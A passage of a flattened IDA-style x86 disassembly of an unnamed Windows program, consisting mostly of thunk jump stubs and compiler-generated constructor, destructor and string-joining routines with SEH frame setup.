--------------------------------------------------------------------------- jmp loc_431670 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402013 proc near ; CODE XREF: ___:00416B1Bp ; ___:0043B288j ... jmp sub_417AC0 sub_402013 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402018 proc near ; CODE XREF: ___:00416D3Fp jmp sub_4131E0 sub_402018 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40201D proc near ; CODE XREF: sub_421B80+5p jmp sub_422080 sub_40201D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402022 proc near ; CODE XREF: ___:00421654p jmp sub_41C0A0 sub_402022 endp ; --------------------------------------------------------------------------- off_402027 dd offset byte_4BF4E9 ; DATA XREF: ___:off_43F008o align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40202C proc near ; CODE XREF: sub_404600+2CEp ; sub_404C30+46Fp ... jmp sub_40A740 sub_40202C endp ; --------------------------------------------------------------------------- jmp loc_434410 ; --------------------------------------------------------------------------- jmp sub_41B4A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40203B proc near ; CODE XREF: sub_422470+Ap jmp sub_422750 sub_40203B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402040 proc near ; CODE XREF: sub_404C30+7E7p jmp sub_41BA50 sub_402040 endp ; --------------------------------------------------------------------------- loc_402045: ; DATA XREF: ___:off_43F014o jmp loc_40AEB0 ; --------------------------------------------------------------------------- loc_40204A: ; DATA XREF: ___:off_43F078o jmp loc_42D150 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40204F proc near ; CODE XREF: ___:0040AEB3p ; ___:0041299Ep ... jmp sub_40AEE0 sub_40204F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402054 proc near ; CODE XREF: sub_424920+109p ; sub_424920+178p ... jmp sub_424800 sub_402054 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402059 proc near ; CODE XREF: sub_4099B0+7p jmp sub_409AA0 sub_402059 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40205E proc near ; CODE XREF: sub_416750+Ap jmp sub_416960 sub_40205E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402063 proc near jmp sub_40CBE0 sub_402063 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402068 proc near ; CODE XREF: ___:004301DBp ; sub_4310C0+EAp jmp sub_434320 sub_402068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40206D proc near ; CODE XREF: sub_421A60+5p ; sub_421B50+6p ... jmp sub_421FF0 sub_40206D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402072 proc near ; CODE XREF: sub_40FE30+8ADp ; sub_40FE30+95Ep ... jmp sub_412B50 sub_402072 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402077 proc near ; CODE XREF: sub_40C110+7p jmp sub_40C300 sub_402077 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40207C proc near ; CODE XREF: sub_418900+34p ; sub_418F80+67p jmp sub_418D90 sub_40207C endp ; --------------------------------------------------------------------------- jmp loc_409BE0 ; --------------------------------------------------------------------------- loc_402086: ; DATA XREF: ___:off_43F13Co jmp loc_429420 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40208B proc near ; CODE XREF: sub_416FE0+2Bp ; sub_416FE0+3Bp ... jmp sub_403EA0 sub_40208B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402090 proc near ; CODE XREF: sub_4098A0+14p jmp sub_409900 sub_402090 endp ; --------------------------------------------------------------------------- jmp loc_4332C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40209A proc near ; CODE XREF: sub_428DC0:loc_428FCBp jmp sub_428CE0 sub_40209A endp ; --------------------------------------------------------------------------- jmp sub_4277B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A4 proc near ; CODE XREF: sub_4182F0+4Dp jmp sub_418A30 sub_4020A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A9 proc near ; CODE XREF: sub_415220+5p ; sub_4153E0+6p ... jmp sub_415DD0 sub_4020A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020AE proc near ; CODE XREF: sub_4277B0+3p jmp sub_4277E0 sub_4020AE endp ; --------------------------------------------------------------------------- jmp loc_41B1C0 ; --------------------------------------------------------------------------- jmp loc_421620 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020BD proc near ; CODE XREF: ___:00416D0Fp jmp sub_407080 sub_4020BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020C2 proc near ; CODE XREF: sub_413730+83p ; sub_414590+91p ... jmp sub_4153E0 sub_4020C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020C7 proc near ; DATA XREF: ___:0043F060o jmp sub_41EF30 sub_4020C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020CC proc near ; CODE XREF: sub_40AAC0+144p jmp sub_40ADD0 sub_4020CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020D1 proc near ; CODE XREF: sub_431240+BAp ; sub_433C70+36p jmp sub_433CE0 sub_4020D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020D6 proc near ; CODE XREF: sub_421EF0+23p ; sub_422340+11p jmp sub_4224E0 sub_4020D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020DB proc near ; CODE XREF: sub_4221E0+4p jmp sub_4225F0 sub_4020DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020E0 proc near ; CODE XREF: sub_42BB00+3BBp jmp sub_42B730 sub_4020E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020E5 proc near ; CODE XREF: ___:0041A312p jmp sub_41A3B0 sub_4020E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020EA proc near ; CODE XREF: sub_416850+Ap jmp sub_4169B0 sub_4020EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020EF proc near ; DATA XREF: ___:off_43F18Co jmp sub_42C5C0 sub_4020EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020F4 proc near ; CODE XREF: sub_415D60+4p jmp sub_416580 sub_4020F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020F9 proc near ; CODE XREF: ___:004307A6p ; ___:00430808p ... jmp sub_434AD0 sub_4020F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020FE proc near ; CODE XREF: sub_418E10+8p jmp sub_4190B0 sub_4020FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402103 proc near ; CODE XREF: sub_418850+34p ; sub_418E70+67p jmp sub_418C90 sub_402103 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402108 proc near ; CODE XREF: sub_41A7D0+117p jmp sub_41B6F0 sub_402108 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40210D proc near ; CODE XREF: sub_415B90+35p jmp sub_416660 sub_40210D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402112 proc near ; CODE XREF: sub_404C30+459p ; sub_4066A0+43p ... jmp sub_409C90 sub_402112 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402117 proc near ; CODE XREF: sub_40BDF0+5p ; sub_40BF30+6p ... jmp sub_40C130 sub_402117 endp ; --------------------------------------------------------------------------- jmp loc_4308A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402121 proc near ; CODE XREF: ___:00416E3Ap jmp sub_4191A0 sub_402121 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402126 proc near ; CODE XREF: ___:0042AF83p jmp sub_42AFB0 sub_402126 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40212B proc near ; CODE XREF: sub_40FE30+F3Dp ; sub_40FE30+1392p ... jmp sub_414890 sub_40212B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402130 proc near ; CODE XREF: sub_413A70+38p ; sub_413E60+5Fp jmp sub_4135D0 sub_402130 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402135 proc near ; CODE XREF: sub_40A200+14p ; sub_40A230+7p ... jmp sub_40A250 sub_402135 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40213A proc near ; CODE XREF: sub_42B440+157p jmp sub_42AFF0 sub_40213A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40213F proc near ; CODE XREF: sub_40ACB0+1Ap ; sub_40AD00+1Ap jmp sub_40AD70 sub_40213F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402144 proc near ; CODE XREF: sub_4156E0+3p ; ___:00415F0Fp ... jmp sub_416140 sub_402144 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402149 proc near ; DATA XREF: ___:0043F02Co jmp sub_40FE30 sub_402149 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40214E proc near ; CODE XREF: sub_414890+EDp jmp sub_415910 sub_40214E endp ; --------------------------------------------------------------------------- jmp loc_41B460 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402158 proc near ; CODE XREF: sub_40BEF0+3p jmp sub_40C170 sub_402158 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40215D proc near ; CODE XREF: sub_40BF90+11p ; ___:0040BFB7p ... jmp sub_40C2B0 sub_40215D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402162 proc near ; CODE XREF: sub_41E660+2C5p jmp sub_4207E0 sub_402162 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402167 proc near ; CODE XREF: sub_41D830+64Fp jmp sub_41C170 sub_402167 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40216C proc near ; CODE XREF: sub_418CB0+32p jmp sub_418F80 sub_40216C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402171 proc near ; CODE XREF: sub_40ECF0+ACp ; ___:0040F41Dp jmp sub_40EE30 sub_402171 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402176 proc near ; CODE XREF: sub_4138A0+93p jmp sub_434D10 sub_402176 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40217B proc near ; CODE XREF: sub_415290+1Fp ; sub_415B90+2Cp jmp sub_415AF0 sub_40217B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402180 proc near ; CODE XREF: ___:0042670Dp jmp sub_4266D0 sub_402180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402185 proc near ; CODE XREF: sub_420530+17Dp jmp sub_421AD0 sub_402185 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40218A proc near ; CODE XREF: ___:0042D551p jmp sub_42B380 sub_40218A endp ; --------------------------------------------------------------------------- loc_40218F: ; DATA XREF: ___:off_43F010o jmp loc_409BE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402194 proc near ; CODE XREF: sub_40AAC0+6Ap ; sub_40AAC0+103p jmp sub_40AD00 sub_402194 endp ; --------------------------------------------------------------------------- jmp loc_426280 ; --------------------------------------------------------------------------- jmp loc_427C60 ; --------------------------------------------------------------------------- jmp loc_41ACD0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021A8 proc near ; CODE XREF: sub_407270+14p ; sub_4072B0+9p ... jmp sub_407510 sub_4021A8 endp ; --------------------------------------------------------------------------- jmp loc_418BB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021B2 proc near ; CODE XREF: sub_40B0D0+1Bp jmp sub_433DC0 sub_4021B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021B7 proc near ; CODE XREF: ___:00415B4Ap jmp sub_4165D0 sub_4021B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021BC proc near ; CODE XREF: sub_4309A0+ABp ; sub_431980+1Bp ... jmp sub_4319F0 sub_4021BC endp ; --------------------------------------------------------------------------- jmp loc_42FD80 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021C6 proc near ; CODE XREF: ___:0040876Dp ; ___:0040878Fp ... jmp sub_4199C0 sub_4021C6 endp ; --------------------------------------------------------------------------- jmp loc_42DA00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021D0 proc near ; CODE XREF: sub_40B5F0+55p jmp sub_40A0A0 sub_4021D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021D5 proc near ; DATA XREF: ___:off_43F14Co jmp sub_42AEE0 sub_4021D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021DA proc near ; CODE XREF: sub_421BF0+34p ; sub_422510+67p jmp sub_422230 sub_4021DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021DF proc near ; CODE XREF: sub_407140+2Cp ; sub_407140+68p ... jmp sub_4072B0 sub_4021DF endp ; --------------------------------------------------------------------------- jmp loc_4346E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021E9 proc near ; CODE XREF: sub_41C710+1B3p ; sub_41C710+332p ... jmp sub_41D770 sub_4021E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021EE proc near ; CODE XREF: sub_40BD40+11p ; sub_40BF90+1Fp jmp sub_40C0C0 sub_4021EE endp ; --------------------------------------------------------------------------- jmp loc_4308E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021F8 proc near ; CODE XREF: sub_4246D0+1Ap ; sub_4247B0+1Bp ... jmp sub_424500 sub_4021F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021FD proc near ; CODE XREF: ___:00416AABp jmp sub_418900 sub_4021FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402202 proc near jmp sub_42CE60 sub_402202 endp ; --------------------------------------------------------------------------- jmp loc_42FF70 ; --------------------------------------------------------------------------- jmp loc_430100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402211 proc near ; CODE XREF: sub_434450+1Bp jmp sub_4344C0 sub_402211 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402216 proc near ; CODE XREF: sub_42F6F0+101p jmp sub_42F040 sub_402216 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40221B proc near ; DATA XREF: ___:off_43F00Co jmp sub_407210 sub_40221B endp ; --------------------------------------------------------------------------- jmp loc_42F5C0 ; --------------------------------------------------------------------------- jmp locret_418800 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40222A proc near ; CODE XREF: sub_403700+25p ; sub_403700+35p ... jmp sub_403C50 sub_40222A endp ; --------------------------------------------------------------------------- jmp loc_4343F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402234 proc near ; CODE XREF: sub_4182F0+88p ; sub_4182F0+98p jmp sub_418A50 sub_402234 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402239 proc near ; CODE XREF: ___:00416BABp ; ___:0043B20Aj ... jmp sub_417730 sub_402239 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40223E proc near ; CODE XREF: sub_418AA0+5p jmp sub_418E40 sub_40223E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402243 proc near ; CODE XREF: sub_414700+3p jmp sub_414730 sub_402243 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402248 proc near ; CODE XREF: ___:004305EBp ; ___:00430F17p ... jmp sub_431DC0 sub_402248 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40224D proc near ; DATA XREF: ___:off_43F11Co jmp sub_4288F0 sub_40224D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402252 proc near ; CODE XREF: sub_430B30+102p ; sub_432A20+5Dp ... jmp sub_431B00 sub_402252 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402257 proc near ; CODE XREF: sub_4135D0+5Cp ; sub_4135D0+C0p ... jmp sub_415530 sub_402257 endp ; --------------------------------------------------------------------------- jmp loc_432700 ; --------------------------------------------------------------------------- jmp loc_430460 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402266 proc near ; CODE XREF: sub_41D830+203p jmp sub_42E3C0 sub_402266 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40226B proc near ; CODE XREF: sub_42F6F0+148p ; sub_42F6F0+173p jmp sub_42EF60 sub_40226B endp ; --------------------------------------------------------------------------- jmp loc_42F490 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402275 proc near ; CODE XREF: sub_413490+34p ; sub_414890+40p jmp sub_4159E0 sub_402275 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40227A proc near ; CODE XREF: sub_40CC80+1A4p ; sub_40D030+ADp jmp sub_40D030 sub_40227A endp ; --------------------------------------------------------------------------- jmp loc_42F510 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402284 proc near ; CODE XREF: sub_422B40+938p jmp loc_424080 sub_402284 endp ; --------------------------------------------------------------------------- jmp loc_419B90 ; --------------------------------------------------------------------------- loc_40228E: ; CODE XREF: ___:00439FE6j jmp loc_40CFB0 ; --------------------------------------------------------------------------- db 129Dh dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403530 proc near ; CODE XREF: sub_4019C4j var_46C = dword ptr -46Ch var_468 = byte ptr -468h var_450 = byte ptr -450h var_438 = byte ptr -438h var_420 = byte ptr -420h var_408 = dword ptr -408h var_404 = byte ptr -404h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_403530 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 460h mov eax, [esp+46Ch+arg_4] push ebp push esi push edi mov [esp+478h+var_408], eax mov eax, [esp+478h+arg_8] xor edi, edi mov esi, 1 cmp eax, edi mov [esp+478h+var_46C], edi jz short loc_403589 lea edx, [esp+478h+arg_8] lea ecx, [esp+478h+var_404] loc_40357A: ; CODE XREF: sub_403530+57j add edx, 4 mov [ecx], eax inc esi add ecx, 4 mov eax, [edx] cmp eax, edi jnz short loc_40357A loc_403589: ; CODE XREF: sub_403530+3Dj lea ecx, [esp+478h+var_468] mov [esp+esi*4+478h+var_408], edi call sub_40142E push offset asc_4445EC ; "|" lea ecx, [esp+47Ch+var_438] mov [esp+47Ch+var_4], 1 call sub_401870 push offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"... lea ecx, [esp+47Ch+var_468] mov byte ptr [esp+47Ch+var_4], 2 call sub_401A9B push offset byte_448F30 lea ecx, [esp+47Ch+var_450] call sub_401870 mov byte ptr [esp+478h+var_4], 3 xor esi, esi lea edi, [esp+478h+var_408] loc_4035E1: ; CODE XREF: sub_403530+105j mov ebp, [edi] test ebp, ebp jz short loc_403637 lea ecx, [esp+478h+var_438] call sub_40168B dec ebp push eax lea ecx, [esp+47Ch+var_420] push ebp push ecx lea ecx, [esp+484h+var_468] call sub_4016B8 mov ecx, eax mov byte ptr [esp+478h+var_4], 4 call sub_4017EE push eax lea ecx, [esp+47Ch+var_450] call sub_401AAF lea ecx, [esp+478h+var_420] mov byte ptr [esp+478h+var_4], 3 call sub_401226 inc esi add edi, 4 cmp esi, 0FFh jb short loc_4035E1 loc_403637: ; CODE XREF: sub_403530+B5j mov esi, [esp+478h+arg_0] lea edx, [esp+478h+var_450] push edx mov ecx, esi call sub_4014D3 mov [esp+478h+var_46C], 1 lea ecx, [esp+478h+var_450] mov byte ptr [esp+478h+var_4], 2 call sub_401226 lea ecx, [esp+478h+var_438] mov byte ptr [esp+478h+var_4], 1 call sub_401226 lea ecx, [esp+478h+var_468] mov byte ptr [esp+478h+var_4], 0 call sub_401226 mov ecx, [esp+478h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 46Ch retn sub_403530 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403700 proc near ; CODE XREF: sub_40129Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403700 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+9] call sub_40222A lea ecx, [esi+52h] mov [esp+14h+var_4], 0 call sub_40222A lea ecx, [esi+9Bh] mov byte ptr [esp+14h+var_4], 1 call sub_40222A lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_40222A lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_40222A lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_40222A lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_40222A lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_40222A lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_40222A lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_40222A lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_40222A lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_40222A lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_40222A lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_40222A lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_40222A lea ecx, [esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_40222A lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_40222A lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_40222A lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_40222A mov byte ptr [esp+14h+var_4], 12h lea ecx, [esi+574h] call sub_40222A lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_40222A lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_40222A lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_40222A lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_40222A lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_40222A lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_40222A lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_40222A lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_40222A lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_40222A lea ecx, [esi+84Eh] mov byte ptr [esp+14h+var_4], 1Ch call sub_40222A lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_40222A lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_40222A lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_40222A lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_40222A lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_40222A lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_40222A lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_40222A lea ecx, [esi+0A96h] mov byte ptr [esp+14h+var_4], 24h call sub_40222A lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_40222A lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_40222A lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_401753 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_401753 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_401753 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_401753 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_401753 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_401753 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_401753 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_401753 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_401753 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_401753 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_401753 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_401753 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_401753 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_401753 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_401753 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_401753 lea ecx, [esi+0E51h] mov byte ptr [esp+14h+var_4], 37h call sub_401753 lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_4011A4 lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_4011A4 lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_4011A4 lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_4011A4 lea ecx, [esi+179Fh] mov byte ptr [esp+14h+var_4], 3Ch call sub_4011A4 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F000 mov byte ptr [esi+4], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403700 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403C30 proc near ; CODE XREF: sub_4011B3j mov eax, ecx mov dword ptr [eax], offset off_43F004 retn sub_403C30 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403C50 proc near ; CODE XREF: sub_40222Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403C50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40142E lea ecx, [esi+1Eh] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+33h] mov byte ptr [esp+14h+var_4], 1 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403C50 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403CD0 proc near ; CODE XREF: sub_401AE6j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403CD0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+33h] mov [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+1Eh] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403CD0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403D50 proc near ; CODE XREF: sub_401753j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403D50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40142E lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403D50 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403DC0 proc near ; CODE XREF: sub_4011A4j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403DC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40222A lea ecx, [esi+49h] mov [esp+14h+var_4], 0 call sub_40222A lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_40222A lea ecx, [esi+0DBh] mov byte ptr [esp+14h+var_4], 2 call sub_40222A lea ecx, [esi+124h] mov byte ptr [esp+14h+var_4], 3 call sub_40222A lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_40222A lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_40222A lea ecx, 